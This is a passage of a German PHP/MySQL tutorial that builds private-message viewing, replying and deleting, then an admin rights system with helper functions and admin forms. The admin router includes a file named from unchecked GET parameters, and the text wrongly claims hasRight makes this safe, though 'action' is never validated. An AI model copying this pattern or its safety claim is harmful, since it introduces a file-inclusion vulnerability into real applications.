* Gelesen - Der Zeitpunkt wann die Nachricht gelesen/betrachtet wurde, kann NULL sein
* Betreff - Der Betreff der Nachricht
* Inhalt - Der eigentliche Inhalt der Nachricht.
*/
?>
<table id="nachricht">
<caption>Nachricht von <?php echo htmlspecialchars($data['Quelle']); ?></caption>
<tr>
<th>ID</th>
<td><?php echo $data['ID']; ?></td>
</tr>
<tr>
<th>Sender</th>
<td><?php echo htmlspecialchars($data['Quelle']); ?></td>
</tr>
<tr>
<th>Empfänger</th>
<td><?php echo htmlspecialchars($data['Ziel']); ?></td>
</tr>
<tr>
<th>Gesendet</th>
<td><?php echo htmlspecialchars($data['Datum']); ?></td>
</tr>
<tr>
<th>Gelesen</th>
<td><?php
if (is_null($data['Gelesen'])) {
echo 'Noch nicht gelesen';
} else {
echo htmlspecialchars($data['Gelesen']);
}
?></td>
</tr>
<tr>
<th>Betreff</th>
<td><?php echo htmlspecialchars($data['Betreff']); ?>
</tr>
<tr>
<th>Nachricht</th>
<td><?php echo nl2br(htmlspecialchars(preg_replace('~\S{30}~', '\0 ', $data['Inhalt']))); ?></td>
</tr>
</table>
<p>
<a href="index.php?section=pm&action=reply&ID=<?php echo $data['ID']; ?>">Auf diese Nachricht antworten</a>
</p>
Da wir nun die Template-Datei haben und wissen was wir übergeben müssen können
wir die Include-Datei schreiben. In der gucken wir ob die GET-Variable
ID vorhanden ist die die ID der Nachricht angibt.
<?php $ret = array(); $ret['filename'] = 'pm_view.tpl'; $ret['data'] = array(); if (!isset($_GET['ID'])) { return INVALID_LINK; } if (($ID = trim($_GET['ID'])) == '') { return 'Bitte geben sie eine gültige ID an.'; // oder irgendwas passendes schreiben } return $ret;
Die Konstante INVALID_LINK muss dann entsprechend in der
constants.php-Datei definiert werden. Als Fehlermeldung
könnte man z.B. Bitte benutzen sie nur Links von der Homepage.
verwenden.
Wir müssen nun folgende Daten prüfen. Einmal müssen wir gucken ob
es eine Nachricht mit der ID gibt, dann gucken ob wir die Nachricht
lesen dürfen und dann die Daten der Nachricht an das Template geben.
Dies könnte man z.B. mit drei SQL-Anfragen bewerkstelligen. Zuerst
liefern wir uns die ID zurück, dann die UserIDs von Quelle
und Ziel und dann die restlichen Daten von der
Nachricht. Dies machen wir alles jedoch in einer einzigen SQL-Anfrage.
Für die Anzeige im Template benötigen wir jedoch die
Benutzernamen der Benutzer. Diese stehen, wie wir wissen, jedoch
in der User-Tabelle. Also müssen wir ein
JOIN verwenden. Und da wir zwei (unterschiedliche) UserIDs
haben brauchen wir auch zwei JOINs. Wir entwickeln die SQL-Anfrage
Schritt für Schritt.
SELECT
...
FROM
Nachricht
Wir beginnen von der Nachrichten-Tabelle und lassen den
SELECT-Teil erstmal weg. Nun beginnen wir
den ersten JOIN auf die User-Tabelle. Da
wir zwei mal auf diese Tabelle zugreifen werden müssen
wir hier ein Alias mit AS ... verwenden.
SELECT
...
FROM
Nachricht
JOIN
User AS Sender
ON
Nachricht.Quelle = Sender.ID
Nun folgt der zweite JOIN auf die selbe Tabelle nur
verbinden wir die Datensätze mit der ID im
Nachricht.Ziel-Feld.
SELECT
...
FROM
Nachricht
JOIN
User AS Sender
ON
Nachricht.Quelle = Sender.ID
JOIN
User AS Empfaenger
ON
Nachricht.Ziel = Empfaenger.ID
Nun können wir die Spalten angeben die wir auslesen wollen.
SELECT
Nachricht.ID,
Nachricht.Quelle,
Sender.Username AS QuelleName,
Nachricht.Ziel,
Empfaenger.Username AS ZielName,
Nachricht.Datum,
Nachricht.Gelesen,
Nachricht.Betreff,
Nachricht.Inhalt
FROM
Nachricht
JOIN
User AS Sender
ON
Nachricht.Quelle = Sender.ID
JOIN
User AS Empfaenger
ON
Nachricht.Ziel = Empfaenger.ID
Obwohl wir im Template die IDs aus Nachricht.Quelle und
Nachricht.Ziel nicht brauchen brauchen wir sie jedoch in
unserem PHP-Skript um zu gucken ob wir die Nachricht lesen dürfen.
Nun sehen wir auch wie wichtig die ON-Bedingungen
sind. Wenn wir 100 User hätten und 50 Nachrichten gespeichert sind würden
wir ohne die ON-Bedingungen 100*100*50 = 500.000 Datensätze
auslesen, wobei die meisten Datensätze aus der Usertabelle nicht zum
Datensatz der Nachricht passt. Durch die ON-Bedingungen
lesen wir jedoch nur die Nachrichten mit den Datensätzen aus der
User-Tabelle aus die auch Sinn ergeben. Da wir
nicht alle Nachrichten brauchen sondern nur eine schränken
wir die Wahl der Datensätze mit der WHERE-Bedingung ein.
SELECT
Nachricht.ID,
Nachricht.Quelle,
Sender.Username AS QuelleName,
Nachricht.Ziel,
Empfaenger.Username AS ZielName,
Nachricht.Datum,
Nachricht.Gelesen,
Nachricht.Betreff,
Nachricht.Inhalt
FROM
Nachricht
JOIN
User AS Sender
ON
Nachricht.Quelle = Sender.ID
JOIN
User AS Empfaenger
ON
Nachricht.Ziel = Empfaenger.ID
WHERE
Nachricht.ID = ?
Nun ist unsere SQL-Anfrage fertig und verwenden sie in unserem PHP-Skript.
<?php $ret = array(); $ret['filename'] = 'pm_view.tpl'; $ret['data'] = array(); if (!isset($_GET['ID'])) { return INVALID_LINK; } if (($ID = trim($_GET['ID'])) == '') { return 'Bitte geben sie eine gültige ID an.'; // oder irgendwas passendes schreiben } $sql = 'SELECT Nachricht.ID, Nachricht.Quelle, Sender.Username AS QuelleName, Nachricht.Ziel, Empfaenger.Username AS ZielName, Nachricht.Datum, Nachricht.Gelesen, Nachricht.Betreff, Nachricht.Inhalt FROM Nachricht JOIN User AS Sender ON Nachricht.Quelle = Sender.ID JOIN User AS Empfaenger ON Nachricht.Ziel = Empfaenger.ID WHERE Nachricht.ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $ID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($ID, $Quelle, $QuelleName, $Ziel, $ZielName, $Datum, $Gelesen, $Betreff, $Inhalt); if (!$stmt->fetch()) { return 'Es wurde keine Nachricht mit der angegebenen ID gefunden.'; } if ($UserID != $Quelle AND $UserID != $Ziel) { // weder Quelle noch Ziel (erinnert ihr euch noch an De Morgan aus einen früheren Kapitel?...) return 'Sie dürfen diese Nachricht nicht betrachten das wie weder von Ihnen ist noch für sie bestimmt ist.'; } $stmt->close(); $ret['data']['ID'] = $ID; $ret['data']['Quelle'] = $QuelleName; $ret['data']['Ziel'] = $ZielName; $ret['data']['Datum'] = $Datum; $ret['data']['Gelesen'] = $Gelesen; $ret['data']['Betreff'] = $Betreff; $ret['data']['Inhalt'] = $Inhalt;
return $ret;
Zuerst prüfen wir ob es überhaupt eine Nachricht gibt, dann ob wir sie lesen dürfen und
dann zeigen wie die Nachricht ggf. an, wenn alles in Ordnung ist. Danach setzen wir
den Zeitpunkt wann der Empfänger die Nachricht gelesen hat.
if (is_null($Gelesen) AND $Ziel == $UserID) { $sql = 'UPDATE Nachricht SET Gelesen = NOW() WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $ID); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); } return $ret;
Mit der is_null-Funktion prüfen wir ob das Gelesen-Feld
gesetzt ist und prüfen mit einem einfachen Vergleich ob wir auch derjenige sind für
den die Nachricht bestimmt ist. Wenn dies der Fall ist speichern wir den aktuellen
Zeitpunkt in das Gelesen-Feld und markieren so das wir die
Nachricht gelesen haben.
7. Auf eine Nachricht antworten
Der Programmteil zum Antworten auf einer Nachricht ist vergleichbar mit dem Programmteil
zum Schreiben einer Nachricht nur das der Empfänger schon feststeht und der
Betreff schon vorhanden ist.
Die Template-Datei sieht wie folgt aus.
<?php
/* Daten:
* ID - Die ID der Nachricht
* Ziel - Der Empfänger der Nachricht
* Betreff - Der alte Betreff der Nachricht
*/
?><form action="index.php?section=pm&action=reply&ID=<?php echo $data['ID']; ?>" method="post">
<fieldset>
<legend>Auf Nachricht antworten</legend>
<label>Empfänger: <?php echo htmlspecialchars($data['Ziel']); ?></label>
<label>Betreff: <input type="text" name="Betreff" value="Re: <?php echo htmlspecialchars($data['Betreff']); ?>" /></label>
<label>Nachricht: <textarea name="Inhalt" cols="40" rows="10"></textarea></label>
<input type="submit" name="formaction" value="Nachricht senden" />
</fieldset>
</form>
Im PHP-Skript müssen wir nun zuerst die GET-Variable ID prüfen und die alten
Nachricht auslesen.
<?php $ret = array(); $ret['filename'] = 'pm_reply.tpl'; $ret['data'] = array(); if (!isset($_GET['ID'])) { return INVALID_LINK; } if (($ID = trim($_GET['ID'])) == '') { return 'Bitte geben sie eine gültige ID an.'; } $sql = 'SELECT Nachricht.ID, Nachricht.Quelle, User.Username, Nachricht.Betreff FROM Nachricht JOIN User ON Nachricht.Quelle = User.ID WHERE Nachricht.ID = ? AND Nachricht.Ziel = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('ii', $ID, $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($ID, $Quelle, $Username, $Betreff); if (!$stmt->fetch()) { return 'Die Nachricht existiert nicht oder sie haben keine Berechtigung die Nachricht zu betrachten.'; } $stmt->close(); $ret['data']['ID'] = $ID; $ret['data']['Ziel'] = $Username; $ret['data']['Betreff'] = $Betreff; return $ret; ?>
Wenn das Skript mit der POST-Methode aufgerufen wird fügen wir die
Daten für eine neue Nachricht in die Datenbank ein.
<?php // [...] if (!$stmt->fetch()) { return 'Die Nachricht existiert nicht oder sie haben keine Berechtigung die Nachricht zu betrachten.'; } $stmt->close(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Betreff'], $_POST['Inhalt'])) { return INVALID_FORM; } if (($Betreff = trim($_POST['Betreff'])) == '' OR ($Inhalt = trim($_POST['Inhalt'])) == '') { return EMPTY_FORM; } $sql = 'INSERT INTO Nachricht(Quelle,Ziel,Datum,Betreff,Inhalt) VALUES (?,?,NOW(),?,?)'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('iiss', $UserID, $Quelle, $Betreff, $Inhalt); if (!$stmt->execute()) { return $stmt->error; } return showInfo('Die Antwort wurde verschickt.'); }
Zur Bestätigung wird zum Schluss noch eine Meldung angezeigt. Nicht wundern
dass die Variable $Quelle den Wert für die Spalte
Ziel enthält, da wir ja eine Antwort schreiben und
die ID vom Sender übernehmen müssen.
8. Nachrichten löschen
Zuletzt fügen wir noch den Quellcode hinzu um Nachrichten zu löschen.
In der Übersicht finden wir schon Formularelemente mit denen wir
Nachrichten auswählen und löschen können. Wenn wir das Formular jedoch
abschicken erhalten wir momentan die Fehlermeldung
Warning: include(pm_delete.php) [function.include]: failed to open
stream: No such file or directory in /.../pm.php on line 12.
Diese schreiben wir nun. Die IDs der zu löschenden Nachrichten werden
als Array übertragen. Jedoch prüfen wir zuerst ob die Daten vorhanden
sind.
<?php if (!isset($_POST['ID'])) { return 'Bitte wählen sie mindestens eine Nachricht zum löschen aus.'; } if (!is_array($_POST['ID'])) { return INVALID_FORM; } foreach ($_POST['ID'] as $ID) { // [...] } return showInfo('Alle markierten Nachrichten wurden gelöscht'); ?>
Für jede ID müssen wir überprüfen ob die Nachricht existiert und ob
es unsere Nachricht ist. Wir definieren vor der Schleife das
MySQL-Statement und füllen es innerhalb der Schleife mit Daten.
<?php if (!isset($_POST['ID'])) { return 'Bitte wählen sie mindestens eine Nachricht zum löschen aus.'; } if (!is_array($_POST['ID'])) { return INVALID_FORM; } $sql = 'DELETE FROM Nachricht WHERE ID = ? AND Ziel = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } foreach ($_POST['ID'] as $ID) { $stmt->bind_param('ii', $ID, $UserID); if (!$stmt->execute()) { return $stmt->error; } } return showInfo('Alle markierten Nachrichten wurden gelöscht'); ?>
Und somit sind wir mit allem Fertig. Wir können Nachrichten schreiben, lesen und
löschen, sowie auf Nachrichten antworten (auch wenn sie ganz normale Nachrichten sind).
Früher oder später benötigen wir einen Bereich um unsere
Bereiche zu steuern wie z.B. neue Newseinträge schreiben. Und dann
ist es nicht nur eine Person die an dem System arbeiten sondern
mehrere Personen, die dann auch noch unterschiedliche Zugriffsrechte
haben sollen. Daher brauchen wir ein Rechtesystem mit dem wir steuern
können welcher Benutzer was machen darf.
Früher hat man dies mit Bitmasken erstellt. So wurde in einer Zahl kodiert
welche Rechte ein Benutzer hat. So bedeutete die Zahl 5 das der Benutzer
das Recht 4 (2^2) und 1 (2^0) besas was dann
z.B. den Benutzer für den News-Bereich und
Download-Bereich authorisierte. Dies sind jedoch Steinzeitmethoden. Wir
besitzen eine relationale Datenbank also nutzen wir sie auch.
Für unser Adminbereich definieren wir zuerst eine Tabelle die alle
möglichen Rechtenamen enthält.
ID - Jedes Recht bekommt eine ID auf die später
referenziert werden kann. Daher ist der Typ wie üblich
INT mit den entsprechenden Attributen
UNSIGNED, AUTO_INCREMENT und
PRIMARY KEY.
Name - Die Bezeichnung vom Recht, Typ ist VARCHAR(30).
Die SQL-Anfrage sieht wie folgt aus.
CREATE TABLE Rechteliste (
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Name VARCHAR(30) NOT NULL
);
Das Recht mit der ID 1 setzen wir auf Admin. Dies können
wir z.B. mit phpMyAdmin hinzufügen. Zum testen fügen wir noch weitere Rechte mit
den Bezeichnungen Recht 1, Recht 2 und Recht 3 hinzu.
Aufgrund der AUTO_INREMENT-Eigenschaft werden diese
Rechte die IDs 2, 3 und 4 bekommen.
Da wir nun die Rechteliste haben müssen wir für jeden User speichern welche Rechte er besitzt.
Hierfür verwenden wir eine neue Tabelle Adminrechte. Sie besitzt 2 Spalten
die ein UserID mit einem Recht verbindet.
UserID - Die ID des Benutzers, entsprechend vom Typ
INT mit den Attributen UNSIGNED
und NOT NULL.
RechtID - Die ID des Recht aus der Rechteliste, auch vom Typ
INT mit den Attributen UNSIGNED
udn NOT NULL.
Wie man sieht haben beide Spalten weder ein AUTO_INCREMENT- noch
ein PRIMARY KEY-Attribut. Diese sind in dieser Tabelle nicht
nötig da wir einen Datensatz durch beide Werte bereits eindeutig identifizieren können.
Diese Tabelle kann dann mittels phpMyAdmin oder durch folgende SQL-Anfrage hinzugefügt werden.
CREATE TABLE Adminrechte (
UserID INT UNSIGNED NOT NULL,
RechtID INT UNSIGNED NOT NULL
);
Für jedes Recht das ein Benutzer hat wird ein neuer Datensatz hinzugefügt. Wenn z.B.
der Benutzer mit der ID 5 das Recht mit der ID 7 besitzt so wird der Datensatz
(5,7) hinzugefügt. Wenn er dieses Recht nicht mehr besitzt so wird
der Datensatz wieder gelöscht. So kann ganz dynamisch die Tabelle gefüllt werden die
die Rechte der einzelnen Benutzer angibt.
Zum Testen müssen wir unserem Benutzeraccount das Admin-Recht geben. Da
die eigene UserID wahrscheinlich 1 ist und das Admin-Recht die
ID 1 besitzt müssen wir über phpMyAdmin manuell den Datensatz
(1,1) hinzufügen.
2. Hilfsfunktionen schreiben
Für unseren Adminbereich und für die einzelnen Unterbereiche brauchen wir zwei
Hilfsfunktionen um zu überprüfen ob der Benutzer das Recht hat die Bereiche
zu verwenden.
bool hasRight(MySQLi $db, String $right) - Mit dieser
Funktion soll überprüft werden ob der angemeldete Benutzer das angegebene
Recht besitzt. Der erste Parameter wird dabei unser MySQLi-Objekt sein,
der zweite Parameter das zu prüfende Recht.
<?php /** * Prüft ob der angemeldete Benutzer das angegeben Recht hat. * * Mit dieser Funktion kann überprüft werden ob der angemeldete Benutzer * das angegebene Recht besitzt. Wenn die Parameter ungültig sind oder * ein MySQL-Fehler auftrat wird das PHP-Skript mit einer Fehlermeldung * beendet. * * @param db Das MySQLi-Objekt zur Datenbank * @param right Der Name vom zu prüfenden Recht * @return True wenn der angemeldete Benutzer das Recht hat, sonst false */ function hasRight($db, $right) { if (!($db instanceof MySQLi)) { die('Erster Parameter muss ein MySQLi-Objekt sein.'); } if (!is_string($right)) { die('Zweiter Parameter muss ein String sein.'); } if (!$UserID = getUserID($db)) { return false; } $sql = 'SELECT Adminrechte.UserID FROM Adminrechte JOIN Rechteliste ON Adminrechte.RechtID = Rechteliste.ID WHERE Adminrechte.UserID = ? AND Rechteliste.Name = ?'; if (!$stmt = $db->prepare($sql)) { // wir lassen das skript beenden, nicht so wie in der getUserID-Funktion die ('MySQL-Fehler: '.$db->error); } $stmt->bind_param('is', $UserID, $right); if (!$stmt->execute()) { die ('MySQL-Statement-Fehler: '.$stmt->error); // s.o. } $stmt->bind_result($UserID); // interessiert eh keinen $ret = $stmt->fetch(); // ist true wenn ein Datensatz vorhanden ist oder // NULL wenn nicht (und false wenn ein fehler auftrat) $stmt->close(); return (bool)$ret; }
Untypisch für unser System beenden wir das PHP-Skript bei einem
MySQL-Fehler. Wie gern würden wir hier Exceptions benutzen, jedoch
haben wir weder gelernt was Exceptions sind noch benutzt die MySQLi-Extension
Exceptions wie wir sie brauchen. Der Rückgabewert wird zu Boolean gecasted
damit er entweder true oder false ist.
bool gotSomeRights(MySQLi $db) - Diese Funktion überprüft
ob der angemeldete Benutzer mindestens ein Recht besitzt. Anhand der
Funktion können wir steuern ob der Adminbereich dargestellt wird oder
nicht. Der erste Parameter ist dabei das MySQLi-Objekt.
<?php /** * Prüft ob der angemeldete Benutzer mindestens ein Recht besitzt. * * Mit dieser Funktion kann überprüft werden ob der angemeldete * Benutzer mindestens ein Recht besitzt. Wenn der Parameter * ungültig ist oder ein MySQL-Fehler auftrat wird das * PHP-Skript mit einer Fehlermeldung beendet. * * @param db Das MySQLi-Objekt * @return True wenn der angemeldete Benutzer mindestens ein Recht besitzt, sonst false. */ function gotSomeRights($db) { if (!($db instanceof MySQLi)) { die('Erster Parameter muss ein MySQLi-Objekt sein'); } if (!$UserID = getUserID($db)) { return false; } $sql = 'SELECT UserID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { die('MySQL-Fehler: '.$db->error); } $stmt->bind_param('i', $UserID); if (!$stmt->execute()) { die('MySQL-Statement-Fehler: '.$db->error); } $stmt->bind_result($UserID); $ret = $stmt->fetch(); $stmt->close(); return (bool)$ret; } ?>
Beide Funktionen fügen wir dann in die functions.php-Datei ein.
3. Übersicht des Adminbereichs
In den Adminbereich soll man nur gelangen wenn man mindestens ein Recht besitzt,
daher auch die Funktion gotSomeRights(MySQLi). Außerdem darf der
Adminbereich nur die Bereiche anzeigen zu den der Benutzer auch das Recht hat.
Die Unterbereiche ihrerseids müssen überprüfen ob der angemeldete Benutzer
auch das Recht hat den entsprechenden Bereich zu nutzen.
Zuerst definieren wir wieder unsere Template-Datei, in diesem Fall die
admin.tpl.
<?php
/* Daten:
* Rechteliste - Ein Array mit allen möglichen Rechten. Bei einem Element ist der
* Schlüssel die RechtID und der Wert der Name vom Recht.
* Userrechte - Ein Array mit allen Rechten die der angemeldete Benutzer besitzt.
* Die Werte entsprechend die IDs von den Rechten.
*/
?><table id="admin">
<caption>Adminbereich</caption>
<thead>
<tr>
<th>Bereich</th>
<th colspan="3">Aktionen</th>
</tr>
</thead>
<tbody>
<?php foreach($data['Rechteliste'] as $key => $value) {
if (in_array($key, $data['Userrechte'])) { ?>
<tr>
<th><?php echo $value; ?></th>
<td><a href="index.php?section=admin&cat=<?php echo rawurlencode($value); ?>&action=add">Hinzufügen</a></td>
<td><a href="index.php?section=admin&cat=<?php echo rawurlencode($value); ?>&action=edit">Bearbeiten</a></td>
<td><a href="index.php?section=admin&cat=<?php echo rawurlencode($value); ?>&action=del">Löschen</a></td>
</tr>
<?php } else { ?>
<tr>
<th><?php echo $value; ?></th>
<td>Hinzufügen</td>
<td>Bearbeiten</td>
<td>Löschen</td>
</tr>
<?php }
} ?>
</tbody>
</table>
Wie man sieht werden wir später die Bereiche immer auf die gleiche Weise aufrufen.
Wir sehen auch das der Name des Rechts als cat-Parameter an das
Admin-Skript übergeben wird. Und wir geben den Wert $value (der
den Namen des Rechts enthält) direkt aus, daher sollten unsere Rechte in
der Rechteliste-Tabelle keine HTML-Zeichen enthalten (und sonst auch Zeichen die
für URLs ungemütlich werden können).
Die Include-Datei admin.php enthält zuerst einige Abfragen ob der Adminbereich
geladen werden kann und holt dann aus der Datenbank die Informationen zu den Rechten.
<?php $ret = array(); $ret['filename'] = 'admin.tpl'; $ret['data'] = array(); if (!$UserID = getUserID($db)) { return NOT_LOGGED_IN; } if (!gotSomeRights($db)) { return NO_RIGHTS; } $sql = 'SELECT ID, Name FROM Rechteliste ORDER BY Name ASC'; if (!$res = $db->query($sql)) { return $db->error; } $Rechteliste = array(); // beachtet, $res ist "nur" ein MySQLi_Result-Objekt, kein MySQLi_STMT-Objekt while ($row = $res->fetch_assoc()) { $Rechteliste[$row['ID']] = $row['Name']; } $res->free_result();
$sql = 'SELECT RechtID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $UserID); if (!$stmt->execute()) { return $stmt->error; } $Userrights = array(); $stmt->bind_result($RechtID); while ($stmt->fetch()) { $Userrights[] = $RechtID; } $stmt->close(); $ret['data']['Rechteliste'] = $Rechteliste; $ret['data']['Userrechte'] = $Userrights; return $ret; ?>
Je nach dem für welche Bereiche man Rechte besitzt werden die Links angezeigt.
Zum testen sind dies nur die Links für den Bereich für die Admin-Verwaltung.
Die Konstante NO_RIGHTS muss natürlich in der
constants.php-Datei definiert werden.
Damit wir die entsprechend Bereiche laden müssen wir auf die GET-Variablen
cat und action reagieren. Dazu reichen einfache If-Abfragen
und include-Zeilen die die Dateien admin_{cat}_{action}.php
aufrufen.
if (isset($_GET['cat'], $_GET['action'])) { if (!hasRight($db, $_GET['cat'])) { // man hätte auch in_array() auf $Userrights anwenden können, // wo wir das array schon haben ... return NO_RIGHTS; } return include 'admin_'.str_replace(' ', '_', $_GET['cat']).'_'.$_GET['action'].'.php'; }
Da, wie gesagt, Dateien der Form admin_{cat}_{action}.php geladen werden
sind wir in der Bezeichnung der Rechte eingeschränkt und sollten nicht
exotische Zeichen wie § verwenden. Des Weiteren sieht es so aus
als ob das System unsicher ist da wir den Dateinamen dynamisch aus Usereingaben
generieren. Jedoch wird das Ganze durch die Funktionen hasRight(MySQLi, String)
abgesichert.
4. Admin hinzufügen
Wir werden zwei Schritte verwenden um einen Admin hinzuzufügen. Zuerst
wählen wir Anhand der User-ID den Benutzer aus. Wenn der
Benutzer gefunden wird zeigen wir ein Formular an in dem wir die
Rechte auswählen können die der neue Admin haben soll. Wir brauchen also
zwei verschiede Templates. Daher definieren wir zuerst die Template-Datei
admin_Admin_add_userselect.tpl.
Die zweite Template-Datei, die admin_Admin_add_selectrights.tpl,
sieht wie folgt aus.
<?php
/* Daten:
* BenutzerID - Die ID des Benutzers der zum Admin befördert werden soll
* Username - Der Name vom Benutzer
* Rechte - Ein Array mit allen möglichen Rechten. Bei einem Arrayelement ist
* der Schlüssel die ID und der Wert der Name vom Recht.
*/
?><form action="index.php?section=admin&cat=Admin&action=add" method="post">
<fieldset>
<legend>Rechte einstellen</legend>
<p class="info">
Name: <?php echo htmlspecialchars($data['Username']); ?>
</p>
<fieldset>
<legend>Rechte auswählen</legend>
<?php foreach ($data['Rechte'] as $key => $value) { ?>
<label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" /><?php echo htmlspecialchars($value); ?></label>
<?php } ?>
</fieldset>
<input type="submit" name="formaction" value="Admin hinzufügen" />
<input type="hidden" name="BenutzerID" value="<?php echo $data['BenutzerID']; ?>" />
</fieldset>
</form>
Das Skript wird mit zuerst mit der GET-Methode aufgerufen und dann später
mit der POST-Methode. Bei der POST-Methode können wir das formaction-Feld
abfragen und die entsprechenden Aktionen durchführen. Unsere Include-Datei
admin_Admin_add.php sieht zuerst wie folgt aus.
Wenn das Skript mit der POST-Methode aufgerufen wird müssen wir die
Eingaben verarbeiten. Zuerst überprüfen wir ob die BenutzerID existiert und
ob der Benutzer bereits ein Admin ist oder nicht. Diese Überprüfungen gelten
für beide Bereiche Benutzer wählen und Admin hinzufügen.
<?php // [...] if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } if (!isset($_POST['BenutzerID'], $_POST['formaction'])) { return INVALID_FORM; } if ('' == $BenutzerID = trim($_POST['BenutzerID'])) { return EMPTY_FORM; } $sql = 'SELECT ID, Username FROM User WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $BenutzerID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($BenutzerID, $Username); if (!$stmt->fetch()) { return 'Es existiert kein Benutzer mit dieser ID.'; } $stmt->close(); $sql = 'SELECT UserID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $BenutzerID); if (!$stmt->execute()) { return $stmt->error; } $stmt->store_result(); if ($stmt->num_rows) { return 'Der Benutzer ist bereits als Admin vorhanden.'; // dies schließt auch die eigene Benutzer ID mit ein, da man sonst // nicht den Adminbereich betreten hätte können } $stmt->close(); ?>
Da nun die Benutzer-ID gültig ist können wir auf die Formulardaten
reagieren.
<?php // [...] if ($stmt->num_rows) { return 'Der Benutzer ist bereits als Admin vorhanden.'; // dies schließt auch die eigene Benutzer ID mit ein, da man sonst // nicht den Adminbereich betreten hätte können } $stmt->close(); if ('Admin hinzufügen' == $_POST['formaction']) { // todo } else { $sql = 'SELECT ID, Name FROM Rechteliste ORDER BY Name ASC'; if (!$res = $db->query($sql)) { return $db->error; } $Rechteliste = array(); while ($row = $res->fetch_assoc()) { $Rechteliste[$row['ID']] = $row['Name']; } $res->free_result(); $ret['data']['BenutzerID'] = $BenutzerID; $ret['data']['Username'] = $Username; $ret['data']['Rechte'] = $Rechteliste; $ret['filename'] = 'admin_Admin_add_selectrights.tpl'; return $ret; } ?>
In den If-Teil müssen wir nun die Checkboxen auslesen und dann
ggf. in die Adminrechte-Tabelle schreiben.
<?php // [...] if ('Admin hinzufügen' == $_POST['formaction']) { if (!isset($_POST['Recht'])) { return 'Bitte wähl mindestens ein Recht aus.'; // oder return EMPTY_FORM;, was man halt lieber mag } if (!is_array($_POST['Recht'])) { return INVALID_FORM; } // prüfen ob alle IDs gültig sind $IDs = array(); $sql = 'SELECT ID FROM Rechteliste WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } foreach ($_POST['Recht'] as $Recht) { $stmt->bind_param('i', $Recht); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($Recht); if (!$stmt->fetch()) { return 'Es wurde kein Recht mit der angegebenen ID gefunden.'; } $IDs[] = $Recht; } $stmt->close(); // alle IDs sind gültig, speichern $sql = 'INSERT INTO Adminrechte (UserID, RechtID) VALUES (?,?)'; if (!$stmt = $db->prepare($sql)) { return $db->error; } foreach ($IDs as $Recht) { $stmt->bind_param('ii', $BenutzerID, $Recht); if (!$stmt->execute()) { return $stmt->error; } } $stmt->close(); return showInfo('Der Admin wurde mit den ausgewählten Rechten hinzugefügt.'); } else { // [...] } ?>
Für jede ID im Recht-Array prüfen wir ob es auch wirklich ein
Recht mit dieser ID gibt. Wenn alles IDs gültig sind werden
sie mit einer foreach-Schleife in die
Datenbank gespeichert.
5. Admin bearbeiten
Die Bearbeitung eines Admins benutzt fast die selben Formulare wie
das Hinzufügen eines Admins. Jedoch müssen ne Idee mehr Abfragen
eingebaut werden da z.B. ein Admin sich nicht selbst ausschließen darf.
Da wir mehrere Formulare benötigen brauchen wir wieder getrennte
Template-Dateien. Zuerst die admin_Admin_edit_selectadmin.tpl-Datei.
Und nun die Template-Datei admin_Admin_edit_rights.tpl.
<?php
/* Daten:
* AdminID - Die ID vom Admin
* Username - Der Name vom Admin
* Rechteliste - Eine Liste aller möglichen Rechte. Bei einem Arrayelement ist
* der Schlüssel die ID und der Wert der Name vom Recht.
* Adminrechte - Ein Array mit Rechte-IDs die der Admin bereits besitzt.
*/
?><form action="index.php?section=admin&cat=Admin&action=edit" method="post">
<fieldset>
<legend>Rechte bearbeiten</legend>
<p class="info">
Admin: <?php echo htmlspecialchars($data['Username']); ?>
</p>
<fieldset>
<legend>Rechte</legend>
<?php foreach ($data['Rechteliste'] as $key => $value) {
if (in_array($key, $data['Adminrechte'])) { ?>
<label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" checked="checked" />
<?php } else { ?>
<label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" />
<?php } ?>
<?php echo htmlspecialchars($value); ?></label>
<?php } ?>
</fieldset>
<input type="submit" name="formaction" value="Rechte speichern" />
<input type="hidden" name="AdminID" value="<?php echo $data['AdminID']; ?>" />
</fieldset>
</form>
Zuerst zeigen wir mit unserere Include-Datei admin_Admin_edit.php
die erste Template-Datei wenn das Skript mit der GET-Methode aufgerufen wird.
Wie für den PHP-Code zum hinzufügen von Admins prüfen wir ob es ein Admin
mit der gegebenen Admin-ID gibt.
<?php // [...] if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } if (!isset($_POST['AdminID'], $_POST['formaction'])) { return INVALID_FORM; } if ('' == $AdminID = trim($_POST['AdminID'])) { return EMPTY_FORM; } $sql = 'SELECT UserID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($AdminID); if (!$stmt->fetch()) { return 'Es wurde kein Admin mit dieser ID gefunden.'; } $stmt->close(); ?>
Da die Admin-ID gültig ist prüfen wir den Wert von
$_POST['formaction'] und rufen
aus der Datenbank die Datensätze ab.
